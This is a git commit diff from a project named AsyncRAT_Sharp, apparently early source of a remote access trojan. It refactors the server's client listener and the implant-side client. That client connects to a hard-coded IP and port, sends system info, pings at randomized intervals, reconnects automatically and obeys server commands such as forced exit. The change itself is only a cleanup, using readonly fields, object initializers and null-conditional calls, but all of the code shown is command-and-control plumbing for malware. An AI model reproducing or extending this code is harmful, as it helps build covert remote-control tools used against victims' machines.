Update
This commit is contained in:
parent
8341990c59
commit
53aba72bbe
@ -5,8 +5,8 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
class Settings
|
class Settings
|
||||||
{
|
{
|
||||||
public static List<Clients> Online = new List<Clients>();
|
public static readonly List<Clients> Online = new List<Clients>();
|
||||||
public static int Port = 8080;
|
public static readonly int Port = 8080;
|
||||||
public static string Version = "0.2";
|
public static readonly string Version = "0.2";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -23,10 +23,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
public Clients(Socket CLIENT)
|
public Clients(Socket CLIENT)
|
||||||
{
|
{
|
||||||
Client = CLIENT;
|
Client = CLIENT;
|
||||||
Client.ReceiveBufferSize = 50 * 1024;
|
|
||||||
Client.SendBufferSize = 50 * 1024;
|
|
||||||
Client.ReceiveTimeout = -1;
|
|
||||||
Client.SendTimeout = -1;
|
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
@ -109,9 +105,9 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
Settings.Online.Remove(this);
|
Settings.Online.Remove(this);
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
MS.Dispose();
|
MS?.Dispose();
|
||||||
Client.Close();
|
Client?.Close();
|
||||||
Client.Dispose();
|
Client?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
@ -16,12 +16,14 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
|
||||||
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
||||||
listener.SendBufferSize = 50 * 1024;
|
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||||
listener.ReceiveBufferSize = 50 * 1024;
|
{
|
||||||
listener.ReceiveTimeout = -1;
|
SendBufferSize = 50 * 1024,
|
||||||
listener.SendTimeout = -1;
|
ReceiveBufferSize = 50 * 1024,
|
||||||
|
ReceiveTimeout = -1,
|
||||||
|
SendTimeout = -1,
|
||||||
|
};
|
||||||
listener.Bind(IpEndPoint);
|
listener.Bind(IpEndPoint);
|
||||||
listener.Listen(20);
|
listener.Listen(20);
|
||||||
|
|
||||||
|
@ -21,14 +21,14 @@ namespace Client
|
|||||||
{
|
{
|
||||||
class Settings
|
class Settings
|
||||||
{
|
{
|
||||||
public static string IP = "127.0.0.1";
|
public static readonly string IP = "127.0.0.1";
|
||||||
public static int Port = 8080;
|
public static readonly int Port = 8080;
|
||||||
public static string Version = "0.2";
|
public static readonly string Version = "0.2";
|
||||||
}
|
}
|
||||||
|
|
||||||
class Program
|
class Program
|
||||||
{
|
{
|
||||||
public static Socket client { get; set; }
|
public static Socket Client { get; set; }
|
||||||
public static byte[] Buffer { get; set; }
|
public static byte[] Buffer { get; set; }
|
||||||
public static long Buffersize { get; set; }
|
public static long Buffersize { get; set; }
|
||||||
public static bool BufferRecevied { get; set; }
|
public static bool BufferRecevied { get; set; }
|
||||||
@ -48,21 +48,23 @@ namespace Client
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||||
client.ReceiveBufferSize = 50 * 1024;
|
{
|
||||||
client.SendBufferSize = 50 * 1024;
|
ReceiveBufferSize = 50 * 1024,
|
||||||
client.ReceiveTimeout = -1;
|
SendBufferSize = 50 * 1024,
|
||||||
client.SendTimeout = -1;
|
ReceiveTimeout = -1,
|
||||||
client.Connect(Settings.IP, Settings.Port);
|
SendTimeout = -1,
|
||||||
|
};
|
||||||
|
Client.Connect(Settings.IP, Settings.Port);
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BeginSend(SendInfo());
|
BeginSend(SendInfo());
|
||||||
TimerCallback T = new TimerCallback(Ping);
|
TimerCallback T = Ping;
|
||||||
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -74,23 +76,15 @@ namespace Client
|
|||||||
|
|
||||||
public static void Reconnect()
|
public static void Reconnect()
|
||||||
{
|
{
|
||||||
if (client.Connected == false)
|
if (Client.Connected) return;
|
||||||
|
if (Client.Connected == false)
|
||||||
{
|
{
|
||||||
if (Tick != null)
|
Tick?.Dispose();
|
||||||
{
|
|
||||||
Tick.Dispose();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (client != null)
|
Client?.Close();
|
||||||
{
|
Client?.Dispose();
|
||||||
client.Close();
|
|
||||||
client.Dispose();
|
|
||||||
}
|
|
||||||
|
|
||||||
if (MS != null)
|
MS?.Dispose();
|
||||||
{
|
|
||||||
MS.Dispose();
|
|
||||||
}
|
|
||||||
|
|
||||||
InitializeClient();
|
InitializeClient();
|
||||||
}
|
}
|
||||||
@ -109,12 +103,12 @@ namespace Client
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (client.Connected == false)
|
if (Client.Connected == false)
|
||||||
{
|
{
|
||||||
Reconnect();
|
Reconnect();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Recevied = client.EndReceive(ar);
|
int Recevied = Client.EndReceive(ar);
|
||||||
|
|
||||||
if (Recevied > 0)
|
if (Recevied > 0)
|
||||||
{
|
{
|
||||||
@ -156,7 +150,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
Reconnect();
|
Reconnect();
|
||||||
}
|
}
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -194,7 +188,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
client.Shutdown(SocketShutdown.Both);
|
Client.Shutdown(SocketShutdown.Both);
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
Environment.Exit(0);
|
Environment.Exit(0);
|
||||||
@ -213,7 +207,7 @@ namespace Client
|
|||||||
|
|
||||||
public static void BeginSend(byte[] Msgs)
|
public static void BeginSend(byte[] Msgs)
|
||||||
{
|
{
|
||||||
if (client.Connected)
|
if (Client.Connected)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@ -224,8 +218,8 @@ namespace Client
|
|||||||
MS.Write(buffersize, 0, buffersize.Length);
|
MS.Write(buffersize, 0, buffersize.Length);
|
||||||
MS.Write(buffer, 0, buffer.Length);
|
MS.Write(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
client.Poll(-1, SelectMode.SelectWrite);
|
Client.Poll(-1, SelectMode.SelectWrite);
|
||||||
client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
|
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@ -239,7 +233,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
client.EndSend(ar);
|
Client.EndSend(ar);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
|
Loading…
x
Reference in New Issue
Block a user